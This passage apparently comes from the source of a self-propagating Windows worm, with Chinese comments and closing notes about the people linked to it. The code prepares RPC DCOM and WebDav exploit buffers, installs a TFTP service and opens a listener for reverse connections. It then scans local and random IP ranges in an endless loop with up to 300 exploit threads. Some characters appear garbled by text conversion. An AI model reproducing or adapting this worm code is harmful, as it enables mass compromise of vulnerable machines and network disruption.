u_long *myPara = new u_long;
if ( myPara == NULL ){//如果分配失敗,再嘗試一次
Sleep(100);
myPara = new u_long;
}
if ( myPara ){
if ( hThread )
CloseHandle(hThread);
*myPara = htonl( uComp);
DWORD dwThreadId;
if (bWebDav)
hThread =
CreateThread(NULL,0,ExploitWebDavThread,(LPVOID)myPara,0,&dwThreadId);
else
hThread =
CreateThread(NULL,0,ExploitRpcDcomThread,(LPVOID)myPara,0,&dwThreadId);
Sleep(2);
}
//添加此處代碼,避免首次執(zhí)行時(shí),線程中的
InterlockedIncrement(&g_CurThreadCount) 未來得及運(yùn)行,一次性建立了N個(gè)線程的
bug!
if ( bFirst && (i >= nMaxThread) ){
Sleep(2000);
bFirst = FALSE;
}
while(g_CurThreadCount >= nMaxThread) // #define nMaxThread 300 ,不小心,
玩過了~~~
Sleep(2);
}
Sleep(60000);
}
//服務(wù)模式和控制臺模式公用主程序
void DoIt()
{
WSADATAwsd;
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
return;
//殺蠕蟲
KillMsblast();
//卸載
SYSTEMTIME st;
GetLocalTime(st);
if ( st.wYear == 2004 ){
MyDeleteService(szServiceName);
MyDeleteService(szServiceTftpd);
RemoveMe();
ExitProcess(1); //其實(shí)不必,RemoveMe()中借用了前輩的代碼,2k下,退出程序時(shí)將
自身文件刪除了
}
srand( GetTickCount() );
memset(pPingBuffer, '\xAA', sizeof(pPingBuffer));
//煩請骨干路由器立即丟棄此特征 Icmp Echo 包! 國內(nèi)的什么什么波已經(jīng)絕了!~~ 補(bǔ)
丁已經(jīng)打夠了!~~~
//準(zhǔn)備WebDav發(fā)送緩沖區(qū)
do{
pWebDavExploitBuffer = new char[68000];
Sleep(100);
}while(pWebDavExploitBuffer == NULL);
//必須在checkonlien 之前,一次裝配好子彈
PressWebDavBufferOnce();
PressRpcDcomBufferOnce();
CheckOnlienAndPressData(); //get LocalIp & 修正子彈中的反向ip 和 端口
//打補(bǔ)丁
DoServicePackFunction();
//建立接收線程
DWORD dwThreadID;
HANDLE
hWorkThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)RecvSendCmdThread,(L
PVOID)NULL,0,&dwThreadID);
if(hWorkThread==NULL) // RecvSendCmdThread 中阻塞,有反連,再建線程處理之,
同時(shí)處理多個(gè)反連
return;
CloseHandle(hWorkThread);
if ( !MyStartService(szServiceTftpd) ){
Sleep(1000);
InstallTftpService();
Sleep(1000);
MyStartService(szServiceTftpd);
}
Sleep(2000); //等待接收線程中的全局 rand bind port
u_long ulIP;
for(;;){ //估算了一下,普通機(jī)器2小時(shí)一循環(huán)
//首先掃描本ip段
CheckOnlienAndPressData();
ulIP = ntohl(inet_addr(szLocalIp));
ulIP &= 0xffff0000;
BeginExploitFunction( ulIP, 1, 0, 0);
//再掃描本ip前后3個(gè)段
CheckOnlienAndPressData();
if ( rand() % 2)
ulIP += 0x00010000;
else
ulIP -= 0x00030000;
BeginExploitFunction( ulIP, 3, 0, 0);
//再掃描WebDav一個(gè)段,跳出 135 syn封鎖
CheckOnlienAndPressData();
ulIP = MAKELONG(0, wdIpHead[ rand()% 76 ]); //請 wdIpHead[] B段IP商注意~~~,
立即采取補(bǔ)救措施~~~ sorry~~~
BeginExploitFunction( ulIP, 1, 0, 1);
//再掃描隨機(jī)的IP, 數(shù)量1個(gè) B段, rpc or webdav
CheckOnlienAndPressData();
if ( rand() % 2)
BeginExploitFunction( ulIP, 1, 1, 0);
else
BeginExploitFunction( ulIP, 1, 1, 1); //偶跳、跳、跳~~~
KillMsblast();
}
//WSACleanup();
}
--------------------------------------------------------------------------------------------------
為方便閱讀,增加幾個(gè)補(bǔ)充說明
1.flashsky www.xfocus.net創(chuàng)始人之一,啟明星辰安全專家,擅長古體詩詞,7月中公開rpc漏洞利用方式源代碼,公開溢出分析報(bào)告,造成全球安全領(lǐng)域的震動,沖擊波蠕蟲的主要傳播技術(shù)來源于這位高手公開的技術(shù)描述。
2.VirusBOy 懂點(diǎn)安全的小朋友,水平不咋地,不過你最好別招惹他,DDOS你一把也夠受的。
3.某安全公司安全專家評論,該帖子內(nèi)容基本屬實(shí),蠕蟲源代碼已經(jīng)得到確認(rèn)。